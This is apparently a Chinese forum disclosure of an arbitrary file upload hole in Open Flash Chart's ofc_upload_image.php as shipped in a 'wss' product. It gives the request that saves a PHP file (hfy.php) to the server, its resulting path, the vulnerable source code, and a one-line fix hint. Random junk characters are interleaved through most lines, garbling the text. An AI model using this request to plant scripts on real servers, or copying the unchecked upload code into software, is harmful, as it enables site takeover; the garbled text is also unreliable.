POST 数据漏洞文件执行任意后缀文件保存! ^' i0 i" l ^$ b" q" M0 f0 m3 F
漏洞文件/chart/php-ofc-library/ofc_upload_image.php: ]. E, Z( {, V6 {0 a& i8 ~
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/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
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7 I0 }- J1 \6 E" b) RPost任意数据
2 P" W0 J' q; D; [6 F* a0 O8 Z# }, I5 P保存位置http://localhost/chart/tmp-upload-images/hfy.php6 C2 h8 [7 ^0 l; C# Y: Y
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最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~" e% k- U1 Q7 h+ F
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<?php
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3 ]' N: x0 p/ a, E//- L/ w! n, N$ i g8 O/ S' O3 _
// In Open Flash Chart -> save_image debug mode, you! H5 T+ W+ m; C
// will see the 'echo' text in a new window.4 E+ l. J0 v2 U# |; O# L
/// M# T0 u8 v5 u5 V/ v
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g4 a' {' g9 c6 e) cprint_r( $_GET );) o% r# {. w9 S# Y3 l/ V
print_r( $_POST );
- A; ? T5 T, aprint_r( $_FILES );
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print_r( $GLOBALS );( V/ @6 Y4 O1 C3 L9 y, S
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );) d( q( j- J0 l6 u0 e
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6 h( ?# g$ x" o/ ~// default path for the image to be stored //
9 a# V3 j% _8 S' C1 s$default_path = '../tmp-upload-images/';
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$ ]9 Q+ P4 H, `7 `' Q) S5 Yif (!file_exists($default_path)) mkdir($default_path, 0777, true);
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( d/ \3 j0 a) p7 X8 z" W C// full path to the saved image including filename //1 ~7 F3 k: }8 u' K. F9 E
$destination = $default_path . basename( $_GET[ 'name' ] ); . v) W% D$ B1 r1 M8 w. Y3 W! K
0 a* T( p# `( s: Gecho 'Saving your image to: '. $destination;+ s5 R/ a1 l: E0 b$ @! L
// print_r( $_POST );
2 w7 l$ {1 q+ Y9 ~5 m4 ^0 ]4 k// print_r( $_SERVER );4 J9 _" g! x7 g; \$ z
// echo $HTTP_RAW_POST_DATA;
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3 l7 g4 R' D! }% @7 W: s2 ]7 A7 X//
m2 j, s" Y( W( ~% K// POST data is usually string data, but we are passing a RAW .png# L$ Y) h4 h8 P+ L4 p
// so PHP is a bit confused and $_POST is empty. But it has saved) ~' Y8 |: _# j6 i) O$ l
// the raw bits into $HTTP_RAW_POST_DATA
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% k5 R2 ?. n% R) A$jfh = fopen($destination, 'w') or die("can't open file");
6 c8 g H- S& U" \8 j tfwrite($jfh, $HTTP_RAW_POST_DATA);( N" y* p/ L/ F- [% \
fclose($jfh);
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// LOOK:
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// PHP5:3 N, d- q" T; D
//$ o7 z4 ?- r# d# ~
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5 m8 m& Y3 ?$ y% o" C// default path for the image to be stored //( B6 F: ?: C7 b# e8 m5 v
$default_path = 'tmp-upload-images/';
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// full path to the saved image including filename //
- L# ^' P, o* X* u( b0 G( k$ x9 M$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
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9 B9 y# q/ v1 d; p! Z7 c// move the image into the specified directory //
2 i/ a/ l; o# I; Y# A$ Pif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( w, H# ^9 L6 G" \ echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";& V, |' q7 U4 {& ^4 j0 m( o9 E* x
} else {4 k: B, I: u/ C. R% I
echo "FILE UPLOAD FAILED";2 O$ Q8 m, L; I0 |+ f$ J
}; r5 g* x1 @4 d" h/ C
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修复方案: - S$ \# l$ o+ C' R7 k4 q
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ; {1 p( Y. Z* u# ^6 s2 u
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